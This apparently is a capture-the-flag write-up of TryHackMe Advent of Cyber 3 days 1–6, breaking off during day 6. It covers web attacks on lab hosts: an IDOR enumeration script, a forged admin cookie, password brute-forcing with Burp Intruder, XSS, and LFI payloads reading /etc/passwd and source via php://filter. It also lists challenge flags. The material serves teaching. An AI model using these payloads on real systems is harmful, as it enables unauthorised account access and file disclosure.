<h2 id="day-1-web-exploitation-save-the-gifts">[Day 1] <code>Web Exploitation</code>: Save The Gifts</h2>
<p>
  <img src="/img/adventOfCyber3/day1/title.png#center" alt="">

</p>
<p>So, today&rsquo;s learning objective seems to be <a href="https://portswigger.net/web-security/access-control/idor">IDOR vulnerability</a>, which stands for <code>Insecure Direct Object Reference</code>.</p>
<p>To keep it short, IDOR vulnerabilities occur when a developer doesn&rsquo;t validate requesting data, For example:</p>
<p>
  <img src="/img/adventOfCyber3/day1/example_url.png#center" alt="">

</p>
<p>See that <code>id=23</code> at the end? That is your user ID. If you change that to <code>id=0</code>, <code>id=-1</code>,<code>id=null</code> or something, and you suddenly get in another user&rsquo;s account, that is IDOR vulnerability.</p>
<p>Beside the GET request example above, we also have IDOR in POST request:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">method</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;POST&#34;</span> <span style="color:#a6e22e">action</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/update-password&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;hidden&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;user_id&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;123&#34;</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span>&gt;New Password:&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;password&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;new_password&#34;</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">div</span>&gt;&lt;<span style="color:#f92672">input</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;submit&#34;</span> <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;Change Password&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">form</span>&gt;
</span></span></code></pre></div><p>&hellip; or in cookies:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> /user-information <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">website.thm</span>
</span></span><span style="display:flex;"><span>Cookie<span style="color:#f92672">:</span> <span style="color:#ae81ff">user_id=9</span>
</span></span><span style="display:flex;"><span>User-Agent<span style="color:#f92672">:</span> <span style="color:#ae81ff">Mozilla/5.0 (Ubuntu;Linux) Firefox/94.0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Hello Jon!
</span></span></code></pre></div><p>And in reality, if you check public <a href="https://www.hackerone.com/">Hackerone</a> bug submissions, you will find a great portion of IDOR vulnerabilities there.</p>
<p>Now with all that knowledge, let&rsquo;s dive into our challenge.</p>
<p>Upon entering that website, we&rsquo;re welcomed with a homepage like this.</p>
<p>
  <img src="/img/adventOfCyber3/day1/website_home.png#center" alt="">

</p>
<p>
  <img src="/img/adventOfCyber3/day1/website_build.png#center" alt="">

</p>
<p>
  <img src="/img/adventOfCyber3/day1/website_inventory.png#center" alt="">

</p>
<p>Click on anything clickable, we found out that nothing is clickable on those pages. That left us with only the page <code>Your Activity</code>.</p>
<p>
  <img src="/img/adventOfCyber3/day1/website_activity.png#center" alt="">

</p>
<p>Without any obstacle, we can instantly find a textbook vulnerability. It lies here:</p>
<p>
  <img src="/img/adventOfCyber3/day1/website_activity_url_bar.png#center" alt="">

</p>
<p>Remember, in programming languages, it usually starts from 0 rather than 1. But if we try <code>?user_id=0</code>, it will scream &ldquo;lol no user like that bro&rdquo;.</p>
<p>
  <img src="/img/adventOfCyber3/day1/website_activity_id_0.png#center" alt="">

</p>
<p>But if we change that to <code>?user_id=1</code>:</p>
<p>
  <img src="/img/adventOfCyber3/day1/website_activity_santa.png#center" alt="">

</p>
<p>Guess we&rsquo;re in. :D</p>
<p>In the wild, the number of possibilities to test is simply too massive to manually try it all. So the best way is to use on-the-spot scripts like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python3</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> requests
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>address: str <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;https://inventory-management.thm/activity&#34;</span>
</span></span><span style="display:flex;"><span>startId: int <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>testRange: int <span style="color:#f92672">=</span> <span style="color:#ae81ff">20</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> id <span style="color:#f92672">in</span> range(startId, startId <span style="color:#f92672">+</span> testRange):
</span></span><span style="display:flex;"><span>	response <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(address, params<span style="color:#f92672">=</span>{<span style="color:#e6db74">&#34;user_id&#34;</span>: id})
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> response<span style="color:#f92672">.</span>status_code <span style="color:#f92672">==</span> <span style="color:#ae81ff">200</span>:
</span></span><span style="display:flex;"><span>		print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Found something at </span><span style="color:#e6db74">{</span>address<span style="color:#e6db74">}</span><span style="color:#e6db74">?user_id=</span><span style="color:#e6db74">{</span>id<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>)
</span></span></code></pre></div><p>Just iteratively try that id out, we also find McStocker&rsquo;s account at <code>https://inventory-management.thm/activity?user_id=3</code>.</p>
<p>
  <img src="/img/adventOfCyber3/day1/website_activity_mcstocker.png#center" alt="">

</p>
<p>And another at <code>?user_id=9</code>:</p>
<p>
  <img src="/img/adventOfCyber3/day1/website_activity_grinch.png#center" alt="">

</p>
<p>And when we click on all those <code>revert</code> (as our instinct tell us to do so), we got the final flag.</p>
<p>
  <img src="/img/adventOfCyber3/day1/website_activity_revert.gif#center" alt="">

</p>
<p>To conclude, our flags today are:</p>
<p><code>After finding Santa's account, what is their position in the company?</code>
The Boss!</p>
<p><code>After finding McStocker's account, what is their position in the company?</code>
Build Manager</p>
<p><code>After finding the account responsible for tampering, what is their position in the company?</code>
Mischief Manager</p>
<p><code>What is the received flag when McSkidy fixes the Inventory Management System?</code>
THM{AOC_IDOR_2B34BHI3}</p>
<h2 id="day-2-web-exploitation-elf-hr-problems">[Day 2] <code>Web Exploitation</code>: Elf HR Problems</h2>
<p>
  <img src="/img/adventOfCyber3/day2/title.png#center" alt="">

</p>
<p>So in short, today&rsquo;s learning objective is fundamental knowledge about the WWW. You can skip all the text below and jump right to answers if you&rsquo;ve already had experience working with the web.</p>
<p>Since this is actually a vast topic, I&rsquo;ll try keeping things simple by omitting the details. If you want to learn more in-depth about web technologies (which you should, because it&rsquo;s like Hello World for pentesters and developers alike), I suggest the great <a href="https://developer.mozilla.org/en-US/docs/Learn">Mozilla Docs</a>, where they&rsquo;ve explained everything with great details.</p>
<p>First things first, HTTP.</p>
<p>You are reading this article, on the Internet, from your browser, aren&rsquo;t you?</p>
<p>Then I hope you&rsquo;re using a computer. Press Ctr+U, or right click and <code>View Page Source</code>, you should see something like this:

  <img src="/img/adventOfCyber3/day2/thm_html.png#center" alt="">

</p>
<p>As you can see, this is the true nature of the Web - Hypertext. A bunch of codes define what a page contain, how does it look, what will it do, and so on.</p>
<p>When people talk about HTTP, they&rsquo;re talking about the way in which such Hypertext are transferred among computers - sending request, and waiting to be responded (imagine you messaging with someone). An example request:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> / <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">tryhackme.com</span>
</span></span><span style="display:flex;"><span>User-Agent<span style="color:#f92672">:</span> <span style="color:#ae81ff">Mozilla/5.0 Firefox/87.0</span>
</span></span><span style="display:flex;"><span>Referer<span style="color:#f92672">:</span> <span style="color:#ae81ff">https://tryhackme.com/</span>
</span></span></code></pre></div><p>And an example respond:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">200</span> <span style="color:#a6e22e">OK</span>
</span></span><span style="display:flex;"><span>Server<span style="color:#f92672">:</span> <span style="color:#ae81ff">nginx/1.15.8</span>
</span></span><span style="display:flex;"><span>Date<span style="color:#f92672">:</span> <span style="color:#ae81ff">Wednesday, 24 Nov 2021 13:34:03 GMT</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">text/html</span>
</span></span><span style="display:flex;"><span>Content-Length<span style="color:#f92672">:</span> <span style="color:#ae81ff">98</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>    &lt;<span style="color:#f92672">title</span>&gt;Advent of Cyber&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>    Welcome To Advent of Cyber!
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">body</span>&gt;
</span></span><span style="display:flex;"><span>&lt;/<span style="color:#f92672">html</span>&gt;
</span></span></code></pre></div><p>As you can see, Hypertext is also in the respond. The browser render that, then showing you the page - all happened in the matter of miliseconds.</p>
<p>HTTPS is HTTP, but more secure, since it&rsquo;s encrypted.</p>
<p>On the other hand, cookie is a something sent back and forth among computers, to identify who you are.</p>
<p>On your browser, press <code>F12</code> to open Dev Tools, find <code>Cookies</code> tab, somewhere in <code>Storage</code> or <code>Application</code>. The yummy cookies should be there. And since cookies are stored locally on your computer, it can be changed however we want.</p>
<p>Equipped with all that knowledge, here comes the challenge!</p>
<p>Get into the <a href="https:///img/adventOfCyber3/day3-labs.tryhackme#center.cloud/sites/aoc-cookies/">challenge page</a>, we see an ordinary login form.</p>
<p>
  <img src="/img/adventOfCyber3/day2/best_festival_company_login.png#center" alt="">

</p>
<p>Let&rsquo;s register an account!</p>
<p>
  <img src="/img/adventOfCyber3/day2/best_festival_register.png#center" alt="">

</p>
<p>&hellip; okay? (&rsquo;-')</p>
<p>Checking DevTool, we can find a cookie like this</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">user-auth:&#34;7b636f6d70616e793a2022546865204265737420466573746976616c20436f6d70616e79222c206973726567697374657265643a2254727565222c20757365726e616d653a22746573746572227d&#34;
</span></span></span></code></pre></div><p>It&rsquo;s not very readable. So let&rsquo;s try to decode it with <a href="https://gchq.github.io/CyberChef/">CyberChef</a>.</p>
<p>
  <img src="/img/adventOfCyber3/day2/cookie_cyberchef.png#center" alt="">

</p>
<p>(If you find the image too small to read, why don&rsquo;t open up another tab and decode it? :D)</p>
<p>We can see that the cookie is stored in <code>JSON</code> format, encoded in hexadecimal.</p>
<p>Changing out username to <code>admin</code> (as the task told us to), then copy-pasting it to DevTool&hellip;</p>
<p>
  <img src="/img/adventOfCyber3/day2/best_festival_dashboard.png#center" alt="">

</p>
<p>This is certified &ldquo;I&rsquo;m in&rdquo; moment. :D</p>
<p>From there, we can get all needed information to answer the questions:</p>
<p><code>What is the name of the new cookie that was created for your account?</code></p>
<p>user-auth</p>
<p><code>What encoding type was used for the cookie value?</code></p>
<p>hexadecimal</p>
<p><code>What object format is the data of the cookie stored in?</code></p>
<p>json</p>
<p><code>What is the value of the administrator cookie? (username = admin)</code></p>
<pre tabindex="0"><code>7b636f6d70616e793a2022546865204265737420466573746976616c20436f6d70616e79222c206973726567697374657265643a2254727565222c20757365726e616d653a2261646d696e227d
</code></pre><p><code>What team environment is not responding?</code></p>
<p>HR</p>
<p><code>What team environment has a network warning?</code></p>
<p>Application</p>
<p>
  <img src="/img/adventOfCyber3/day2/answers.png#center" alt="">

</p>
<h2 id="day-3-web-exploitation-christmas-blackout">[Day 3] <code>Web Exploitation</code>: Christmas Blackout</h2>
<p>
  <img src="/img/adventOfCyber3/day3/title.png#center" alt="">

</p>
<p>Okay, long story short, content discovery and authentication bypass. Absolutely useful in real life applications.</p>
<p>There&rsquo;s not much to say about this, since everything we&rsquo;re gonna do is bruteforcing the credentials. One reminder, thou, is that in real life bruteforcing is nowhere near as effective as it&rsquo;s in ctfs, and let&rsquo;s be grateful for that. :D</p>
<p>
  <img src="/img/adventOfCyber3/day3/gobuster.gif#center" alt="">

</p>
<p>And just like that, we&rsquo;ve got the location of admin panel.</p>
<p>From here, we usually use specialised tools like <a href="https://github.com/vanhauser-thc/thc-hydra">Hydra</a>. However we&rsquo;ve already been given a wordlist with only 3 entries in this case, which&rsquo;s saved us from the hassle of writing lengthy commands. :D</p>
<p>Manually test the entries, we got it at <code>administrator:administrator</code>.</p>
<p>
  <img src="/img/adventOfCyber3/day3/admin_login.png#center" alt="">

</p>
<p>Another way to do that is taking a look at <a href="http://10.10.235.89/admin/login-page.js">the JS file</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">loginForm</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;login-form&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">loginButton</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;login-form-submit&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">loginErrorMsg</span> <span style="color:#f92672">=</span> document.<span style="color:#a6e22e">getElementById</span>(<span style="color:#e6db74">&#34;login-error-msg&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">loginButton</span>.<span style="color:#a6e22e">addEventListener</span>(<span style="color:#e6db74">&#34;click&#34;</span>, (<span style="color:#a6e22e">e</span>) =&gt; {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">e</span>.<span style="color:#a6e22e">preventDefault</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">username</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">loginForm</span>.<span style="color:#a6e22e">username</span>.<span style="color:#a6e22e">value</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">password</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">loginForm</span>.<span style="color:#a6e22e">password</span>.<span style="color:#a6e22e">value</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">username</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;administrator&#34;</span> <span style="color:#f92672">&amp;&amp;</span> <span style="color:#a6e22e">password</span> <span style="color:#f92672">===</span> <span style="color:#e6db74">&#34;administrator&#34;</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">alert</span>(<span style="color:#e6db74">&#34;You have successfully logged in.&#34;</span>);
</span></span><span style="display:flex;"><span>        window.<span style="color:#a6e22e">open</span>(<span style="color:#e6db74">&#39;dc7161be3dbf2250c8954e5.html&#39;</span>);
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">loginErrorMsg</span>.<span style="color:#a6e22e">style</span>.<span style="color:#a6e22e">opacity</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>})
</span></span></code></pre></div><p>We can clearly see username and password written in plaintext, and even the &ldquo;secret&rdquo; location it&rsquo;ll redirect us to. Again, in real life, no sane developer do this. However, let&rsquo;s just be chill in this ctf-only &ldquo;I&rsquo;m in&rdquo; moment and move on! xD</p>
<p>
  <img src="/img/adventOfCyber3/day3/admin_dashboard.png#center" alt="">

</p>
<p>Having accessed to the admin panel, now we&rsquo;ve got all flags needed for the questions!</p>
<p><code>Using a common wordlist for discovering content, enumerate http://10.10.235.89 to find the location of the administrator dashboard. What is the name of the folder?</code>
admin</p>
<p><code>In your web browser, try some default credentials on the newly discovered login form for the &quot;administrator&quot; user. What is the password?</code>
administrator</p>
<p><code>Access the admin panel. What is the value of the flag?</code>
THM{ADM1N_AC3SS}</p>
<p>
  <img src="/img/adventOfCyber3/day3/answers.png#center" alt="">

</p>
<h2 id="day-4-web-exploitation-santas-running-behind">[Day 4] <code>Web Exploitation</code>: Santa&rsquo;s running behind</h2>
<p>
  <img src="/img/adventOfCyber3/day4/title.png#center" alt="">

</p>
<p>Today&rsquo;s learning material is relatively short and concise. So in case you haven&rsquo;t, please go to <a href="https://tryhackme.com/room/adventofcyber3">Day 4 tutorial here</a>.</p>
<p>One small reminder, thou: Burpsuite is (in)famous for its avaricious RAM usage, so if you run it in a virtual machine, watch out for sudden halts.</p>
<p>Another thing: Burp Suite&rsquo;s built in browser&rsquo;s become fantastic nowadays - a separate Firefox with FoxyProxy is no longer needed.</p>
<p>One final extra note: If you, for some reason, don&rsquo;t want or can&rsquo;t afford the Burp Suite pro version, or just genuinely support the idea of open-source softwares, then try to take a look at <a href="https://www.zaproxy.org/">ZAP</a>. On my own, I find Burp Suite&rsquo;s UI more intuitive, but ZAP&rsquo;s much more powerful once you get the hang of it.</p>
<p>With all that being said, let&rsquo;s jump in. :D</p>
<p>
  <img src="/img/adventOfCyber3/day4/form.png#center" alt="">

</p>
<p>We&rsquo;re greeted with a basic login form like this. Neither the source code or default credentials revealed anything special.</p>
<p>Based on task&rsquo;s requirements, seems like all we&rsquo;ve to do&rsquo;s to bruteforce it. Let me show you the cool way to do it. :D</p>
<p>
  <img src="/img/adventOfCyber3/day4/hydra.gif#center" alt="">

</p>
<p>&hellip; or not&hellip; Weird. :L</p>
<p>Let&rsquo;s burn our RAM and open up Burp Suite, then.</p>
<p>Here&rsquo;s the POST request we intercepted:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">POST</span> / <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host: 10.10.154.103
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Content-Length: 45
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Cache-Control: max-age=0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Origin: http://10.10.154.103
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Content-Type: application/x-www-form-urlencoded
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Referer: http://10.10.154.103/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.9
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Cookie: PHPSESSID=c3k9aqaa365sapdv67vh3p3bte
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Connection: close
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>username=santa&amp;password=password&amp;submit=Login
</span></span></code></pre></div><p>Let&rsquo;s Ctrl+I to send it to <code>Intruder</code>.</p>
<p>The first <code>Target</code> tab, default options are fine. On the second <code>Positions</code> tab, make sure that you only insert payloads in password field:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">POST</span> / <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host: 10.10.154.103
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Content-Length: 45
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Cache-Control: max-age=0
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Upgrade-Insecure-Requests: 1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Origin: http://10.10.154.103
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Content-Type: application/x-www-form-urlencoded
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Referer: http://10.10.154.103/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Accept-Language: en-US,en;q=0.9
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Cookie: PHPSESSID=c3k9aqaa365sapdv67vh3p3bte
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Connection: close
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>username=santa&amp;password=§password§&amp;submit=Login
</span></span></code></pre></div><p>Now continues to <code>Payload</code> tab. Since we&rsquo;ve already had a nice small password list, let&rsquo;s copy it and <code>Paste</code>.</p>
<p>
  <img src="/img/adventOfCyber3/day4/payload.png#center" alt="">

</p>
<p>It all looks good now. Let&rsquo;s press <code>Start Attack</code> on upper right side. Here&rsquo;s the result:</p>
<p>
  <img src="/img/adventOfCyber3/day4/bruteforce.png#center" alt="">

</p>
<p>Based on the length, we can easily spot the unique one.</p>
<p>Having had all that information, let&rsquo;s login to santa&rsquo;s account!</p>
<p>
  <img src="/img/adventOfCyber3/day4/santa_account.png#center" alt="">

</p>
<p>And here comes the last flag!</p>
<p>So our flags today are:</p>
<p><code>What valid password can you use to access the &quot;santa&quot; account?</code>
cookie</p>
<p><code>What is the flag in Santa's itinerary?</code>
THM{SANTA_DELIVERS}</p>
<p>
  <img src="/img/adventOfCyber3/day4/answers.png#center" alt="">

</p>
<h2 id="day-5-web-exploitation-pesky-elf-forum">[Day 5] <code>Web Exploitation</code>: Pesky Elf Forum</h2>
<p>
  <img src="/img/adventOfCyber3/day5/task.png#center" alt="">

</p>
<p>Our learning objective today is, yeah, <a href="https://portswigger.net/web-security/cross-site-scripting">Cross-Site Scripting aka XSS vulnerability</a>.</p>
<p>As XSS itself is an endless topic, I&rsquo;ll leave the explaining part to <a href="https://portswigger.net/web-security/cross-site-scripting">Portswigger&rsquo;s post</a>. It has intelligible visualization of XSS concepts, so you should definitely check it out.</p>
<p>So, in short, XSS is injecting Javascript code to do things attackers want. With that being said, let&rsquo;s jump in.</p>
<p>&hellip;</p>
<p>Actually, hasn&rsquo;t the challenge description itself done all the hassle for us? Isn&rsquo;t it revealing too much? &lt;(￣﹌￣)&gt;</p>
<p>Basically this&rsquo;s what&rsquo;s going to happen if you change your password.

  <img src="/img/adventOfCyber3/day5/change-password.png#center" alt="">

</p>
<p>In real life, whoever implemented this password changing function must be reprimanded ASAP. But as it&rsquo;s a ctf challenge, let&rsquo;s now gratefully exploit it. (￣▽￣)</p>
<p><em>Strictly</em> follow the challenge&rsquo;s instruction, let&rsquo;s comment this on all pages.

  <img src="/img/adventOfCyber3/day5/xss.png#center" alt="">

</p>
<p>Shortly after, we got in <code>Grinch</code> user&rsquo;s account.

  <img src="/img/adventOfCyber3/day5/grinch.png#center" alt="">

</p>
<p>Here&rsquo;s the answer for today&rsquo;s challenge.

  <img src="/img/adventOfCyber3/day5/answer.png#center" alt="">

</p>
<h2 id="day-6-web-exploitation-patch-management-is-hard">[Day 6] <code>Web Exploitation</code>: Patch Management Is Hard</h2>
<p>Today&rsquo;s learning objective is <a href="https://www.neuralegion.com/blog/local-file-inclusion-lfi/">LFI - local file inclusion</a>.</p>
<p>Normally if you keep default Apache/Nginx configuration, LFI shouldn&rsquo;t happen, but as an attacker it&rsquo;s certainly worth a try.</p>
<p>To keep it short, local file inclusion is - as you may guess - a vulnerability that let attackers access local files on the machine.</p>
<p>Sometimes, LFI leads to <a href="https://www.bugcrowd.com/glossary/remote-code-execution-rce/">RCE</a>, mostly via log
files (log poinsoning) or PHP session - whatever means that you can store your
arbitrary code, in order to execute it from PHP filter later on.</p>
<p>Okay, enough theory, let&rsquo;s dive in. :D</p>
<p>Upon visiting the page, we see this:</p>
<p>
  <img src="/img/adventOfCyber3/day6/homepage.png#center" alt="">

</p>
<p>And as you can see, the entry point is literally in the request URL:</p>
<p>
  <img src="/img/adventOfCyber3/day6/link.png#center" alt="">

</p>
<p>Before we get started, let&rsquo;s test if this server is vulnerable to LFI. :D</p>
<pre tabindex="0"><code>http://10.10.132.156/index.php?err=/etc/passwd
</code></pre><p>
  <img src="/img/adventOfCyber3/day6/passwd.png#center" alt="">

</p>
<p>It&rsquo;s. So it&rsquo;s not hard to read the first flag:</p>
<pre tabindex="0"><code>http://10.10.16.195/index.php?err=/etc/flag
</code></pre><p>
  <img src="/img/adventOfCyber3/day6/first-flag.png#center" alt="">

</p>
<p>But if we try to use the very same method to access <code>index.php</code> file, we&rsquo;ll get an error.</p>
<pre tabindex="0"><code>http://10.10.16.195/index.php?err=index.php
</code></pre><p>
  <img src="/img/adventOfCyber3/day6/index-err.png#center" alt="">

</p>
<p>Since the <code>index.php</code> file also include <code>header.php</code>, and they both declare <code>getuseragent()</code> function, we
cannot access it directly. Therefore, let&rsquo;s access it through PHP filter:</p>
<pre tabindex="0"><code>http://10.10.16.195/index.php?err=php://filter/resource=index.php
</code></pre><p>
  <img src="/img/adventOfCyber3/day6/index-err.png#center" alt="">

</p>
<p>Seems no better. Why? Because the functions are still there. So let&rsquo;s try to encode it in base64.</p>
<pre tabindex="0"><code>http://10.10.16.195/index.php?err=php://filter/convert.base64-encode/resource=index.php
</code></pre><p>The server returned a very long base64 string - much longer than a simple error should be, which meant a
different result.</p>
<p>Here&rsquo;s that string, base64 decoded:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>kali㉿kali<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/ctf/thm/adventOfCyber3/day6<span style="color:#f92672">]</span>
